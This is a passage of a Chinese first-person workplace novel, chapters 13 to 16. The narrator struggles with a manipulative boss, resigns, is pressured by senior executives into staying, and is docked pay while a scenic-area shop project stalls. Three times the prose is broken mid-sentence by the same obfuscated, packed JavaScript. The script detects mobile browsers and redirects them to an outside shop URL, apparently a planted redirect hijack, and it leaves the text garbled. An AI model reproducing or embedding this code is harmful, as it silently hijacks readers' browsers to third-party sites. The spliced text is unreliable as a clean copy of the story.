慕雅琴的出现,给了我一丝喘息的机会。 在她来之前,项目几乎都是我一个人推进。与项目相关的各个部门,也都由我独自对接。每天要和倪总通好几个电话,汇报进度、解释问题、确认细节,几乎没有停歇的空间。她来了以后,至少在事务层面,替我分担了一部分压力。 她和我很不一样。 她是舞蹈出身,身材窈窕,举止张扬,身上带着一种鲜活的生命力。相比之下,我早已被倪总的管理方式磨得小心翼翼。用旁人的话说,我身上有种淡淡的“死人感”。我曾以为,她应该不会像我这样容易被拿捏。以她的性格,或许是能反 PUA 倪总的那种人。 说实话,我对她是抱有期待的。 我期待她去倪总面前据理力争,尽快推动部门的绩效考核制度和项目提成机制。那些我反复争取却始终没有结果的事,我希望她能做到。我甚至设想过一种相对理想的状态:她作为部门总监,负责对接倪总,而我只需要对接她。如果真是那样,这份工作或许还能继续。 毕竟,对我来说,这些业务早已驾轻就熟,说不上热爱,但至少熟悉,甚至可以说“好混”。 可理智也很快提醒我,她的到来并不只是“分担”,而是替代。所以一开始,我对她是有种防备心理的。 我带着她逐步参与项目推进,也并非一开始就和谐。我们都是很有主见的人,她有她的判断,我也有我的坚持,一旦涉及原则问题,矛盾便不可避免。我们有过几次正面冲突,争执激烈,甚至红过脸。 每一次冲突过后,我都会反思自己。是不是太过强势?是不是因为知道她可能会取代我,而对她存有偏见?冷静下来之后,我会把这些真实的想法坦诚地告诉她。 她没有回避,也没有敷衍。她的回应,让我感到意外,也让我逐渐放下戒备。我们就在这样的反复磨合中,慢慢找到了彼此的边界。 后来,倪总交代下来的工作,我们都会一起完成,互相配合。 我们之间的友谊,也在一次次并肩应付中发生了变化。 我像个旁观者,目睹了她来时的风采和来之后的无奈。 不管一个人最初是什么样子,只要进入到这样的工作环境里,都会被慢慢改造。她并没有成为我期待中的“例外”,也没有真的改变什么结构性的东西。她和我一样,被卷入漩涡,被消耗,被迫学会妥协。 我们的友谊,正是在这种共同的扭曲处境中生长出来的。 13. 第十三章 5 云居阁项目即将落成时,公司董事长陆总曾因项目人手安排的问题,给倪总打过电话,试探性地提出是否可以从集团那边安排几个人参与推进。倪总几乎没有任何犹豫,直接拒绝,态度强硬,一点回旋的余地都没留。 这并不让我意外。 陆总是集□□下来的董事长,和倪总一向是面和心不和,表面称兄道弟,真正涉及资源、话语权和控制权时,谁也不会退让半步。 也正是在这样的背景下,倪总提出要将慕雅琴安排进公司,自然遭遇了来自陆总的多重阻力。因为在他看来,这是倪总在借项目扩张个人势力范围。 可对倪总而言,慕雅琴是他费尽心力挖来的人选,不可能轻易放手。 双方僵持不下,最终这件事被捅到了集团葛总那里,才算暂时有了结果。慕雅琴的入职,并不是一次“顺利的引进”,而是一场博弈后的结果—— 谈好的薪资被大幅下调,说好入职即缴纳的五险一金迟迟没有落实,原本约定的三个月试用期,也被拉长到整整六个月。在此之前,我从未听说过如此漫长的试用安排。 慕雅琴不是被公司“欢迎”进来的,而是倪总“胜利”后被允许留下来的。 有一次,我们走在去云居阁的路上,她忍不住向我吐槽这些遭遇。我听完,只觉得有些荒诞。 “你这才哪儿到哪儿啊。”我半开玩笑地说,“这些在这儿都不算事。” “我早就知道他难搞,但没想到能这么难搞。”她忍不住抱怨,“天天PUA我,我真的快受不了了!” “知道他难搞,你还来?” “以前我不直接向他汇报,哪里知道他这么难搞。” 我苦笑了一下:“所以我才说,最难的从来不是工作本身,而是怎么应付倪总。” 她也开始倒起苦水,说自己一天要接无数电话,被反复追问第一年五百万能不能做到,做不到怎么办,有没有信心。那些问题并不是真的需要答案,更像是一种持续不断的施压。 “客观来讲,这工作确实不好做。”我最后还是说了实话,“如果有别的选择,能不留在这儿,还是别留了。” 她沉默了一会儿,轻轻叹了口气,说自己刚买了房,公积金不能断,至少要交满半年。 除此之外,她也坦白告诉我,她想把这个项目完整经历一遍,看看一家店是如何从零开起来的,需要哪些手续,甚至连最近正在谈的奶茶品牌加盟,她也想摸个清楚,为将来自己创业做准备。 慕雅琴对自己的目标其实非常清醒。至少在倪总这里,她应该不至于很快迷失方向。只是我太清楚倪总那套口蜜腹剑的手段了。 我只希望,在她达成自己目标之前,还能尽量保持清醒,不至于被像我这样陷得太深。 6 有一天,倪总把我叫到办公室,说希望我继续承担文创设计相关的工作。 我当时一听就感到厌烦,其一,他这是明确要把我从项目上摘除,又再一次剥夺我的劳动成果;其二,我一再表示过,我转行了,不想再继续做设计。如果要我一心一意做设计,那么我就不可能再去对接其它工作,可他又说不行,什么都得做。 我也没有绕弯子,顺势提出了自己的问题:那绩效什么时候恢复?有没有一个明确的时间?此前停发的绩效什么时候补?项目提成机制到底什么时候能定下来? 他的回答一如既往。 不管是绩效考核,还是项目提成机制,他都把问题重新抛回到我身上,让我去和慕雅琴商量。方案做好了,拿去上会,会议通过了,自然就生效。 听起来合情合理,实际上却是一个没有尽头的过程。我太清楚这一套流程会走多久,也很清楚,最终是否能落地,并不取决于方案本身。 我已经没有耐心,再陪他把这套循环走一遍。 就在那一刻,我第一次产生了非常明确的念头—— 我不想再谈了,我要离职。 我随即正式发起了离职申请,并通过同事向公司高层提交了关于补发停发绩效工资的书面申请,至少,希望能有一个正面反馈。但在倪总面前,很多话我依旧不能说得太直白。 不是因为怕他,而是因为工资掌握在他手里。经历了长时间的消耗,我已经没有多少精力可以再被剥削,剩下的那点微薄收入,是我对自己的交代。 所以,当他问起我离职的原因时,我只能把问题归结到自己身上。就是累了,不想干了。 见我态度坚决,倪总显得格外不解,随即开启了他最擅长的那一套说辞。 “虽然你比我大两岁,但我一直把你当妹妹看。”他说,“我都怕你出去被人骗。说真的,你是我身边最没脑子的一个。” 他越说越激动:“你摸着良心说,我对你不好吗?我把最好的项目给你,把最好的资源交给你对,我对你不够信任吗?你看看整个公司,除了你,还有谁敢对我发脾气?我好像从来没骂过你吧?你知道我是怎么骂他们几个的吗?你这么对我?” 他顿了顿,又像是终于找到了突破口:“你到底还有哪里不满?是因为植物园那个项目吗?你以为我没考虑过让你继续负责?可你自己也知道,植物园那么远,你又没有车,项目公司的人那么复杂,动不动就拍桌子撕逼,你撕得过他们吗?你知不知道姚总现在有多累?” 我听着这番“肺腑之言”,忍不住想笑。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113986|195891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 从来没骂过我,难道不是因为我在工作上从未出过差错吗? 所谓“最好的项目”和“最好的资源”,难道不是因为没有人比我更合适吗? 既然我在他眼里是“最没脑子的一个”,那又何必如此执着地把我留下? 倪总的谈判方式,向来如此—— 不断强调感情,不断抬高价值,把所有结构性问题,转化为道德问题。 可我是来工作的,不是来谈感情的。做多少事,拿多少钱,这是最基本的逻辑。 如果钱给不到位,情绪价值给到位,也未尝不可。 可当这两样都不存在的时候,我实在找不到继续留下来的理由。 继续谈下去,已经没有任何意义了。 7 其实我一直都很清楚,像我这样的人,如果能遇到一个正常的老板,是可以劳有所得的。可一旦遇上了吸血鬼式的老板,那我迟早会被榨干。 这四年来,我始终处在一种被持续消耗的状态里,却没有得到应有的回报。理智上,我知道自己早就应该离开了。可有的人是很难走出“舒适圈”的,因为没有退路,更因为缺乏勇气。 倪总就我离职的事找我谈了三次。见我态度坚决、油盐不进,最终还是通过了我的离职申请。 那一刻,我是真的、真的松了一口气! 我终于可以离开这个地方了!终于可以不再面对倪总了,终于不用再煎熬了! 临近下班,我本想拉着慕雅琴一起去庆祝,没想到却接到了熊总的电话。 熊总和陆总一样,都是从集团安排下来的。 电话那头,熊总说道:“你现在马上到葛总办公室来一趟。” “什么事啊?”我问。 “还不是你离职的事。”他说。 我愣了一下。 因为植物园和云居阁这两个项目,按倪总的要求,我曾去葛总办公室做过几次进度汇报。前不久社长带队考察项目时,葛总也在其中,我负责给一众领导汇报。此后,葛总也曾有意无意地招揽过我。 在去集团的路上,我把离职这件事在脑子里捋了一遍。 我的离职申请,先经过倪总,再到熊总,最后抄送给陆总。现在审批停在熊总这里,这意味着——我的离职,应该是熊总告知了陆总,继而再汇报给了葛总。 一个小人物的离职,有必要上升到葛总这一层吗?陆总和熊总这样做,究竟是基于对我的挽留,还是出于别的什么目的?我不禁在心里开始琢磨。 他们未必是真的想把我留下来。更多的,或许只是借着我的离职,来给倪总添一点不痛快。而我,不过是这场博弈中,被顺手递上去的一张牌。 14. 第十四章 8 葛总是集团母公司的副总经理,分管经营板块。 和倪总不同,他身上有一种明显的实干派气场,说话直接,节奏清晰,很容易让人放下戒备。那次谈话的氛围出乎意料地轻松,也正因为这种轻松,我几乎没有再刻意收敛。 我知道自己已经离职在即,反倒没什么好顾忌的了。 我直说,我对倪总的管理方式并不认同——无论是对人的管理,还是对项目的管理。 “一个体量这么大的项目,涉及的人和事非常复杂,需要频繁对接不同层级。可我们这边,从头到尾只有我一个人。所有事情都压在我身上,事无巨细,什么都要亲自去对。”我说。 我告诉葛总,每次外出谈判,我都会感到一种明显的失衡。对方往往是一整个团队,从基层工作人员到高层负责人层层出现,而我这边,始终只有一个人来回周旋。 “有时候,对方会问:‘这么大的项目,不会就你一个人在对吧?’我必须花额外的精力去打消他们的顾虑,避免他们觉得我们不重视项目,或者我们的专业度和实力不足。不是我硬要讲究等级观念,而是国企合作,本身就非常在意这些细节。” 我还提到项目周期的问题。像云居阁这样的项目,一拖就是两年,合同迟迟签不下来。长期处在这种拉扯之中,人会被慢慢耗空。单兵作战,做短期项目尚且勉强,可一旦战线拉长,就变成了一种持续的煎熬。 葛总听完,没有打断我,只问了一句:“那如果是你,你会怎么做?” 我几乎没有犹豫。 我说,如果是我,会把姚总、陈飞、慕雅琴和我组成一个小团队,根据各自的特质分工协作。姚总更擅长流程和管理,可以负责项目整体进度、对接甲方、梳理需求、招投标与汇报;陈飞在招商、合作和运营上经验丰富,可以主导项目运营;我擅长策划与设计,负责内容与整体呈现;慕雅琴是新媒体出身,懂投流、宣发,也对销售有兴趣,产品开发可以以她为主。 “面对项目时,我们是一个团队,所有事情都可以商量着来,互相补位。我觉得这样效率会高很多,也不会把人耗死。” 葛总点了点头,又问:“你的这些想法,跟倪总交流过吗?” “说过。”我回答得很平静,“但倪总这个人,不太能接受和他不一样的意见。” 这句话说出口的那一刻,我心里其实很清楚—— 我是在告状,我把倪总卖了。 后面的谈话,大多围绕具体工作展开,我几乎把倪总的问题原原本本地摊在了葛总面前。与其说是在抱怨,不如说是在陈述事实。反正我已经决定要走,也不打算再为任何人遮掩。 葛总听完后表示,我提到的这些问题和建议,他都会认真考虑。他也坦言,希望我不要这么快离职。云居阁项目眼看就要落地,后续还计划复制到其它著名景区,他觉得我在这里大有可为。 葛总此前也表达过,希望我来做云居阁的主理人。但倪总认为我不会算账,不懂销售,也缺乏运营经验,并不适合这个角色。 可葛总并不这么看。他说,不会算账可以配一个会算账的助理,我只需要负责管理和运营就够了。 我对葛总的肯定心怀感激,但也明白,这背后是两种截然不同的判断。倪总更看重结果和销售数据,而葛总对“主理人”这个角色的理解,更偏向管理与统筹。 谈话的最后,葛总明确表示,只要我愿意留下来,安安心心把事情做好,什么要求都可以提。 被高层领导如此器重和挽留,我确实有些受宠若惊。 我答应他,会再考虑看看。 9 第二天,首山堂的钦总和项目总监平倩薇到了,依旧是为了推进云居阁项目。 那天晚上倪总有事,建议我就算是离职了,也可以私人请他们吃顿饭。 作为一家央企的副总经理,钦总身上几乎看不到任何架子。他为人和气,说话得体,对后辈也毫不吝啬提携。在正式场合,他总会主动介绍身边的同事——哪怕只是刚入行不久的小姑娘,也会被他自然地推到台前,让别人知道她是谁、有多么优秀、在负责什么。 我平时看他和平倩薇对接工作,也始终是有事说事,语气平和,提出意见时逻辑清晰,从不多一句废话。至于他们私下是否也有摩擦,我无从得知。但至少在公开场合,他们始终互相配合,是一个整体。 那种状态,让我心生羡慕。因为倪总是做不到这一点的。 这几年,我跟着倪总出席过大大小小不少正式场合,可他几乎从不介绍我们。饭桌上别人来敬酒时,总会显得有些尴尬——不知道我是谁,不知道该怎么称呼,忽视我又不太合适。轮到我时,还得临时问一句:“您怎么称呼?”又或者散场之后,有人私下把我拉到一边,问我到底是负责哪个板块的。 记得有一次,有位男士起身要敬我酒,问到倪总我的身份,结果倪总沉默半天,还是在一旁的钦总先一步说出了我的名字:她是倪总的同事,也是我们这个项目的负责人。 类似的场面,发生过太多次了。 为了云居阁项目,我和倪总不止一次出差去北京找过钦总。 有一回在钦总的办公室,他半开玩笑地问我,愿不愿意去首山堂。 说实话,我当然心动不已。文化央企,哪是随便就能进的地方。可当着倪总的面,我只能找了个理由婉拒。 不管那句话是不是开玩笑,我都觉得高兴。和钦总不过因为项目接触过几次,可他给予我的尊重与认可,却远远超过倪总给予的。 我曾经趁着倪总心情不错,试探着提起这件事。他立刻表现出明显的不服气。 “我没有把你推出来吗?”他说。 他指的是社长来视察项目时,他让我上前汇报;又或者在需要向上汇报方案、对接资源时,把任务交给我。 可我心里很清楚,这不一样。一个是被当作独立的个体介绍给别人,一个只是被当作完成任务的工具。 在外人面前,他从没给过我应有的身份认同和尊重。 10 我选了一家平时常和朋友去的馆子,环境安静,味道也好。那天的气氛很松弛,我们边吃边聊,更像是朋友间的聚餐,而不是一次因项目而起的应酬。 钦总虽然是前辈,却一向平易近人,说话幽默,也很会带气氛。他不太爱聊工作,反倒更愿意和我们分享一些有趣的人和事,甚至八卦。那种轻松,是我在工作场合里很久没有感受过的。 聊到我已经决定离职的事情时,钦总明显有些惋惜。 “你现在走了,不就是替别人做嫁衣吗?”他说,“怎么着也得把奖金拿完再走啊,是不是这个道理?” 我笑了笑,解释道:“不是您想的那样。就算我不走,倪总也不会再让我参与场馆的运营了。我现在手上只剩下租赁合同,其他工作基本都已经交出去了。说实话,我早就被架空了。” “那你们倪总这么干,确实不地道。”钦总皱了皱眉,“本来你和雅琴两个人互相配合,不是挺好的吗?” “您这么想,人家倪总可不这么想。”一直安静吃饭的静怡,忽然插了一句。 我没再多说什么,只是举起酒杯:“算了,我觉得这样也挺好,没什么遗憾。来,干杯,祝我们开心。” “没遗憾就好。”钦总也举起了杯。 我们喝了点酒。饭后,趁着夜色,步行把他们送回了酒店。 为了云居阁的项目,钦总和平倩薇不止一次来和我们面谈。我和倪总也去过北京好几趟。两年下来,项目上的事情大多是我和平倩薇在直接对接,彼此已经非常熟悉。 有一次,我和她聊起自己的工作,她很不理解,为什么我还愿意在这样的环境里继续待下去。在她看来,我在第一年没拿到奖金的时候,就应该该离职了。 她的判断其实是对的,这一点我并不否认。 只是她忽略了我离职背后的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113987|195891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 代价。 在一座市场环境并不健康的二线城市,想找到一份双休、相对稳定的工作,本就不容易。如果我不是曾经在一年之内被迫换了七份工作,或许也能保有那种一旦不合心意就立刻离开的底气。 可现实并不允许我这么任性。正因为清楚这一点,我才在这条路上走了这么久。也正因为如此,当我终于迈出这一步时,才显得格外艰难。 好在这一次,我终于迈过这道坎了!终于解脱了! 11 和钦总他们分别后不久,倪总给我打来了电话。 他先是问我们聊得怎么样,语气十分温和。他说看到葛总、钦总都这样挽留我,他心里挺高兴的。他觉得自己把我“培养”出来了,这让他感到自豪,有种成就感。 我还是如实地表达了自己离开的决心。倪总没有再多说什么,只是表示理解,也答应把此前停发的十个月绩效工资,作为离职补贴发放给我。 说实话,走到这一步我非常满足了。 我得到了自己应得的部分,也终于可以和倪总体面地收场。 可事情并没有结束。 当晚十一点半,葛总再次打来电话。 他的语气亲切得像一位长辈,甚至带着几分关切:“怎么回事,怎么还是要走啊?上次不是已经聊好了吗?” “葛总,谢谢您的挽留。”我说,“但我已经想清楚了,和倪总那边也已经谈妥了。” “那是他不懂事。”葛总直接说道,“你自己也说了,这个项目你跟了两年,现在就差临门一脚了,你真的不想看看结果再走吗?你们这些年轻啊,就是太容易放弃了!这么好的机会摆在眼前都不知道珍惜!” “您抬举我了。”我尽量保持冷静,“这个项目没有我,也一样可以做好,不存在离了谁就不行。” “没人比你更了解这个项目。他身边也确实没有能马上接手的人。你要帮帮他,现在是他最难的时候。” 这话让我愣了一下。 一个打工人,被要求去“帮帮”自己的老板,这种逻辑本身就让人感到荒谬。 “葛总,我真的很累了。”我苦笑着说出了这句话,“我干不动了。” “你还这么年轻就说干不动了?”他立刻反驳,“那我们这些老家伙怎么办?你看看我,今天忙到十一点才下班,一回家就给你打电话。你就算不看僧面,也要看看佛面吧!” 我沉默了。 “倪总那个人,实在太难沟通了!” “他有时候就像个小孩子的,连我跟他说话都要连哄带骗的!” 可我有什么义务对他连哄带骗? “植物园那个项目,确实是他做得不对。”葛总继续说道,“云居阁这边我会跟他说,让你来当主理人。你说要升职也好、加薪也好,等我忙完这两个月,我都会给你安排,我肯定不会让跟着我的人吃亏。” 一个平日里高高在上、受人尊敬的领导,一次又一次地放低姿态挽留我。这对一个长期被忽视、被消耗、极度缺乏自我认同感的人来说,几乎是无法抗拒的。 我突然发现,葛总和倪总在这一点上其实非常相似——当他们带着明确目的开启一场谈话时,如果目的没有达成,这场对话就不会结束。他们太能耗了,仿佛能把所有目标耗到没有拒绝的力气。 这种能力让我觉得可怕,也让我厌恶。 几番拉扯之后,我实在身心疲惫,最终松口。 明明心意坚决要离职,可还是迫于无奈留下来。 挂断电话后,我崩溃大哭,泪如雨下。 我不知道为什么会这样! 为什么要这样为难我? 为什么离职会变成一件如此艰难的事? 为什么会变成这样?我已经什么都不要了! 我只是想走啊! 我终于明白,当一个人陷入某种环境太深,便会慢慢成为它的一部分。 想要彻底离开,至少也要脱层皮。 15. 第十五章 原本已经离职,审批流程也全部走完了。可最终,还是被集团的老领导劝了回来。 我对自己说,最多再呆两个月。如果在这两个月内,老领导承诺过的升职加薪没有落实,我会立刻离开。而这两个月,就当是回报他的赏识与信任了。 1 离职那天,总经理倪总三次挽留我,晓之以理、动之以情,说得口干舌燥,我还是走了。可当我决定回来时,他却并不高兴,只因为——我不是因为他才回来的。 所以第二天上午,倪总一到公司,便把我叫进了办公室。 “我是真觉得我对你很好了。”他说,“我那么诚心诚意地挽留你,你头也不回。葛总跟你聊了几句,你就回心转意了。我想不通,我们三四年的感情,难道还比不上他两个电话吗?” 其实我也想不通,倪总凭什么老觉得他对我特别好?好在哪? 我的绩效工资什么时候恢复?我停发的15个月绩效什么时候补发?我的绩效考核表什么时候确定?…… 我曾三番五次提出的诉求他从来不正面回应,却口口声声说对我多好多好。 但我已经不打算再争论这些问题了,没有任何意义。 我敷衍地笑了笑:“我也没说你对我不好啊。那我对你不好吗?我在这坚持了四年,你不知道我有多累。” “那我不累吗?”他立刻反问,语气里甚至带着一点委屈。 一个老板和一个员工讨论谁更累?多可笑。 事实上,这也不是我第一次自讨没趣了,怪我一时嘴快。 “算了,不跟你扯这些。既然回来了,就好好干活。现在云居阁、体育馆、植物园这几个项目都需要好的文创,反正这些都是你专业上的事,你多用点心。” 倪总又在试图让我重操旧业,这件事他已经提过不止一次,而我也明确拒绝过——我已经转行了,不想再做设计。可他还是一而再再而三地提起,不累吗? “我也可以做设计。”我退了一步,“但这种工作需要长时间静下来打磨,那项目对接我就没法同时兼顾。” “不行,两边都要做。” 这就是他的态度,既要又要还要——物尽其用。 倪总野心勃勃想做文创产业,却舍不得花钱请几个资深设计师。 也是,有免费可用的为什么还要花钱去外面请呢? 我既然已经决定为了老领导再留两个月,那在倪总这里,我还是要尽量为自己争取一个相对温和的工作环境。所以我没有当场拒绝,而是选择了拖延,我在等待一个合适的时机。 2 云居阁的租赁合同,前前后后沟通了两年之久。 如果不是其中某一个人,或许这个项目早就开业了也未可知。 这个人原本是景区管理公司的一名主管,最初的租赁合同,正是由我和他对接。 在云居阁的租赁合同第一次提交景区内部会议之前,我曾反复与他确认双方领导已经谈妥的条款。对方提供了合同模版,我在此基础上逐条修改,并用红色标出关键条款。他也在我修改过的版本上逐条截图、确认。 我以为这样已经足够严谨。可会议结束后出来的会议纪要,却和我们此前确认的内容大相径庭。 倪总勃然大怒,认定是我没有对接清楚。 我说,我对接清楚了。 他却反问我一句:“你有证据吗?” 那一刻,我是真的愣住了。 我从没想过,在事情出现问题时,我需要先自证自己的“清白”! 我压着火气回答:“有。” “那你发给我。” “好。” 我一边生着气,一边把我和那位主管的完整沟通过程截图整理出来,发给了倪总。 幸好,还有这些聊天记录。 不对,不是“幸好”,是我早有准备! 在这里工作,是有风险的,我早就知道。所以必须学会留痕。 能通过文字沟通的,尽量不要打电话;非要打电话的,涉及关键事项,必须录音。不是为了算计谁,而是为了自保。 这不是我一开始就懂的。 早期我和一位项目总监发生了矛盾,当我把我们的沟通情况复述给倪总听时,他居然问我:“你有录音吗?你怎么证明你说了这些?” 我当时整个人都懵了。我想着我们是同事啊,我从没想过在自己的公司里、和自己的同事沟通,还需要提前准备录音?! 我说,我没有。他说:“那你怎么证明你说的话?” 于是我弄明白了一件事—— 在这个系统里,没有人会替你担责。 你说得再清楚、做得再认真,只要缺少“证据”,一切都可以被推翻。 从那以后,我也学“聪明”了,事事留痕。 3 那天下午,我和慕雅琴又一次带着租赁合同,前往云居阁景区办公室,见新一任负责此事的领导。 这是我们熟得不能再熟的一套流程—— 重新介绍项目背景,重新解释此前谈妥的条件,再把整件事的来龙去脉从头捋一遍。 免不了,又是一场对质。 “你说这些条件,是你们集团领导和我们集团领导早就谈好的,”对面那位中年女领导语气咄咄逼人,“那谁能证明?” 我下意识回答:“你们那边当时参与沟通的负责人,还有具体对接的人,都可以证明。” 她立刻打断我:“他们不能代表我们景区。” 她又补了一句,语气冷硬:“至于当时具体负责对接的那位,现在已经不在这个位置上了。因为这件事犯了错误,在集团内部也已经被边缘化了。” 我愣了一下,下意识反问:“你们景区的上级单位领导,也代表不了你们景区吗?” 她被我这一问噎了一下,后牙槽明显咬紧了几分,随即换了一种说法: “不是代表不了,关键是你们没有证据。现场没有任何书面确认,这让我们下面的人怎么执行?而且集团有明确规定,合同是不允许修改的,不管哪个领导来说都不管用。明白吗?” 这类话,我们听过太多次了。 同样的逻辑、同样的推诿,只是换了一个人、换了一种语气。 在我们这个层级,无论怎么“讲清楚”,都改变不了既定的结果。 “那我之前提过的外立面修复问题,怎么解决?还有二楼回廊,人一多会不会存在安全隐患?这是我们目前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113988|195891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比较担心的一个问题。” 我们要租用的那栋楼是木结构,外立面多处被白蚁蛀空。早在之前,我就把损毁较为严重的位置拍照反馈给景区。但上一任领导班子给出的答复是——他们没有义务单独处理这个问题。 理由也很直接:北园一片建筑的情况大同小异,如果要修,就得整体修复,工程量巨大。 这一次,对方的态度稍有缓和。 “你提的这两个问题,我已经向上级反馈过了。”她说,“这个你们可以放心。该我们解决的问题,我们一定会解决,安全问题一定要保障。我们这个层面解决不了的,就请上面的领导去推进。云居阁空了这么久了,也别再继续浪费时间了,好吧?” 话说到这里,这场对话也算告一段落。 至少,外立面修复的问题,总算有了一个明确回应。 4 不知不觉,又过去了两个月。 也正是在这个节点,我得到了一个相对明确的消息——云居阁将于七月初正式启动装修方案的招投标流程,目标是在九月下旬开业。 这个我跟了整整两年的项目,终于要在两个月后落定了。 我犹豫了一下,还是决定再坚持一段时间。 既然已经走到这一步,再多两个月,又能怎样。 接下来的日子,节奏陡然加快。我开始密集地邀约装修公司、梳理设计思路、组织方案汇报、确定招投标流程、反复优化装修方案。慕雅琴则几乎把全部精力都投入到产品线上——除了首山堂提供的部分成品,我们还必须尽快补齐自己的原创产品体系。 我们像两根被反复上紧的发条,只剩下“往前推”这一件事。 七月上旬,妹妹一家搬去了宁波。到中旬时,十几岁的外甥女要带着年纪更小的外甥女坐高铁过去,我心里实在放心不下。也正好借着这个机会,想暂时离开工作,喘一口气。 我犹豫过要不要跟倪总请假,但很清楚他的反应——就算勉强答应,也必然要附带不必要的指责,影响我接下来的状态。索性,我什么都没说,直接带着两个孩子去了宁波,直到第二天中午才开机。 手机一亮,屏幕上是倪总连续十几个未接来电和信息——“电话不接,信息不回,按公司规定算你旷工一天。” 我当然知道自己理亏。所以第一时间承认错误、道歉,也保证不会再发生类似情况。但倪总还是执意按旷工一天处理,扣我三倍工资1200,毫无转圜余地。 我心里想着,他或许还在气头上。等事情忙完,再好好沟通,说不定还能挽回。毕竟这是扣款实在不轻。 可无论我之后如何拜托,他始终不肯松口,只一句话——要让我“长长记性”。 想到这四年来,我加过多少次班、多少个周末在外出差、节假日里又值过多少次班?这些从来没有被计算过,好像都是理所当然。承诺了三四年的奖金,一分钱也没有兑现。可一旦我犯了一次错,便紧追不放。 我真的好想问一句:老板,你不是说把我当姐妹吗,不是说对我最好吗?就这? 老板所谓的好,只基于我没有犯错、我便宜好用,停发绩效、不发奖金我也不闹。 这地方,我是真的一刻也不想待了。 16. 第十六章 5 云居阁项目,是一个典型的三方合作项目。 北京的文化央企首山堂和省属国企(我司集团母公司)都是投资方;而我们公司,只负责运营。 项目资金全部由首山堂统一管理,与项目相关的每一笔支出,包括装修费用,也都从首山堂走账。 三方协议刚刚确定,装修方案的招投标流程便立刻启动了。 按正常节奏,三个月的装修时间本该足够。可现实是,由于集团母公司内部意见迟迟无法统一,整个推进过程异常缓慢。直到八月初,在首山堂的主持下,我们才终于走完招投标流程。 中标的是一家北京国企,实力不俗,业内口碑也不错。 可让人意想不到的是,这支“国家队”反复修改后的方案,依旧没能通过集团领导的认可。质疑随之而来——甚至开始有人揣测,这样的公司是如何中标的,是否存在什么猫腻。 倪总因此挨了葛总一顿严厉的批评,被指责“没有控好标”,开出了这样一家让人不放心的公司。 直到那一刻,我才真正明白,为什么倪总当初不愿意碰装修这档子事。 可这件事并非倪总的失误。招投标流程全程由首山堂在推进,集团内部并没有人参与具体操作。但结果出了问题,总得有人负责。于是,这口锅,还是落在了倪总头上。 “我本来以为你挺可靠的,”葛总直言不讳,“没想到连这种事都办不好。” 倪总只能硬生生地把这口锅抗下去,叫苦不迭。 最终,那家国企被无情淘汰。此前投入的大量时间与精力,全都作废——他们为此从北京飞来云北好几趟,却依旧无力回天。 云居阁的装修方案不得不推倒重来。 第二轮招投标流程随即启动,所有步骤重新走一遍。 第一轮,我同时对接了五家装修公司;第二轮,又要同时对接四家。设计需求一遍遍重复、答疑一轮轮进行,几乎没有尽头。 但这一次,情况与之前有所不同。 葛总终于派出了一位集团代表,直接介入装修方案的推进工作——宁总,一位即将退休的女领导。 宁总半路空降到云居阁项目,名义上是来“协助倪总推进工作”,实际却是来接管局面的。 倪总对她的到来并不掩饰不满。因为这意味着一件事—— 葛总已经不再完全信任他。 如果葛总真的相信倪总能把这件事办好,又何必再安插一位宁总进来? 对我和雅琴而言,最初对装修这件事的热情,早已被消磨殆尽。我们曾认真讨论过设计方案,想过这样装、那样改,可到这个阶段,我们只剩下一个目标——尽快装修完,尽快开业。 至于最终装成什么样子,已经不那么重要了。 所以,如果宁总真的是一个能推进事情的人,我们并不排斥她的加入,甚至隐约期待她能带来一些雷霆手段。然而,流程依旧无法省略。 所有的步骤,还是得原原本本地再走一遍。 直到八月下旬,第二轮招投标终于结束,选出了一家三方都相对满意的公司。但即便如此,最终方案仍需继续打磨,距离真正落地,还有一段不短的距离。 6 装修推进期间,倪总几乎每天都会反复抛出同一类问题—— SKU 要做到多少?展示面积够不够?是立面陈列还是平铺?能不能同时兼顾会议和清吧功能? 这些问题本身并非没有道理。 问题在于,它们全部发生在资源、预算和时间都无法匹配的前提下。 在有限的预算里,他要求迅速扩充 SKU;在租赁合同尚未签约的情况下,他要求装修方案一步到位;在景区管理班子反复更换的过程中,他又要求我们给出稳定、可预期的执行结果。 那段时间,我和雅琴几乎每天都在被这些问题反复消耗,却很少得到真正可落地的决策。 这已经不是沟通是否充分的问题,而是整个结构本身就无法闭合。 不管是装修还是产品,所有的事情都悬而未决,原定在九月二十日的开业根本无法达成。 眼看着国庆长假越来越近,几百万的流量实在诱人。 不管是倪总,还是葛总,都不愿意错过这波流量。所以,领导们决定在国庆期间先做一场活动,为日后正式开业预热,顺便用现有的产品测试一下市场。 因为开业时间一再推迟,葛总那边也承受着一再失信于社长的压力。所以这场活动是个权宜之计也是一次安抚,如果办不好,葛总和倪总恐怕都要吃不了兜着走。 